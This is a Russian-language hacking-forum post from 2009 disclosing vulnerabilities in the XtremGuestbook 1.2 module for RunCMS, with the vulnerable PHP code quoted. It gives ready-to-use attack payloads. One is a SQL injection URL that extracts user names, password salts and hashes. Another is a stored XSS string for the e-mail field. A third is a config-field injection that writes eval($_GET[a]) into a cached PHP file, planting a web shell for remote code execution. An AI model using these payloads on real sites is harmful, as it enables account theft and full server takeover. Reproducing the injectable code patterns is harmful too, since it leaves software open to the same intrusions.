Показать сообщение отдельно

Уязвимости модулей RunCMS
  #2  
Старый 19.02.2009, 08:52
BlackSun
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию Уязвимости модулей RunCMS

XtremGuestbook
Версия:
1.2
Скачать: http://www.runcms.ru/modules/files/visit.php?lid=194


SQL-INJ
Уязвимый скрипт: /modules/xtremuserguestbook/index1.php
Запрос: /modules/xtremuserguestbook/index1.php?gbid=2&op=Messageedit&idmsg=-1+union+select+1,uname,pwdsalt,pass,5,6,7+from+run cms_users
Параметр gbid - айди текушего юзера
Уязвимый кусок кода:
Не знаю, что это за стеб, видимо тут должна была быть проверка на административные права, но получилось вот так ..
PHP код:
$gbid intval($HTTP_GET_VARS['gbid']);
if (
$gbid != $xoopsUser->uid()) {
    
redirect_header(XOOPS_URL."/",3,_NOPERM);

PHP код:
switch($op) {

case 
"Messageedit":
        
Messageedit($HTTP_GET_VARS["idmsg"]);
        break; 
PHP код:
function Messageedit($idmsg) {
global 
$db$xoopsModule$myts$gbid;

$result=$db->query("SELECT user_id,uname,url,email,title,message,note FROM ".$db->prefix("xtremuserguestbook")." WHERE xtremuserguestbook_id=$idmsg"); 
Так же можно удалять \ редактировать \ etc сообщения

Активная XSS
Уязвимо поле E-mail
mymail@asdasd.ru'><script>alert()</script><'

Заливка шелла через конфиг
Зависимость: на папку /modules/xtremuserguestbook/cache должны стоять 777 чмоды (я к примеру забыл их поставить))
Уязвимый скрипт: /modules/xtremuserguestbook/conf.php
Запрос: /modules/xtremuserguestbook/conf.php?gbid=2&op=Config
Заюзаем поле _XTUG_NBMSGBYPAGE - 10;eval($_GET[a]);//
и сохраняем настройки, они сохранятся в cache/2.php
где 2 - наш айди
Уязвимый кусок кода:
Так же, как и в случае со скулей, идет не понятная проверка
PHP код:
$gbid intval($HTTP_GET_VARS['gbid']);
if (
$gbid != $xoopsUser->uid()) {
    
redirect_header(XOOPS_URL."/",3,_NOPERM);

PHP код:
function SaveConfig($unbmessage,$uallowbbcode,$uallowhtml,$uallowsmileys,$usendmail2webmaster,$umoderate,$ushowdisclaimer,$ushowlogo) {
global $db, $myts, $HTTP_POST_VARS, $gbid;

$fp=fopen("cache/".$gbid.".php","w");
fwrite($fp,'<?php
$uallowbbcode
='.$uallowbbcode.';
$uallowhtml='.$uallowhtml.';
$uallowsmileys='.$uallowsmileys.';
$unbmsgbypage='.$unbmessage.';
$usendmail2webmaster='.$usendmail2webmaster.';
$umoderate='.$umoderate.';
$ushowdisclaimer='.$ushowdisclaimer.';
$ushowlogo='.$ushowlogo.';
?>');
fclose($fp);
    redirect_header("index.php", 1, _UPDATED);
    exit();
}

switch($op) {

case "Config":
        Config();
        break;

case "SaveConfig":
        SaveConfig($nbmessage,$HTTP_POST_VARS["allowbbcode"],$HTTP_POST_VARS["allowhtml"],$HTTP_POST_VARS["allowsmileys"],$HTTP_POST_VARS["sendmail2webmaster"],$HTTP_POST_VARS["moderate"],$HTTP_POST_VARS["showdisclaimer"],$HTTP_POST_VARS["showlogo"]);
        break;
}
"Конфиг" после запроса будет выглядеть примерно вот так:
PHP код:
<?php
$uallowbbcode
=0;
$uallowhtml=0;
$uallowsmileys=0;
$unbmsgbypage=10;eval($_GET[a]);//;
$usendmail2webmaster=0;
$umoderate=0;
$ushowdisclaimer=0;
$ushowlogo=0;
?>
 
Ответить с цитированием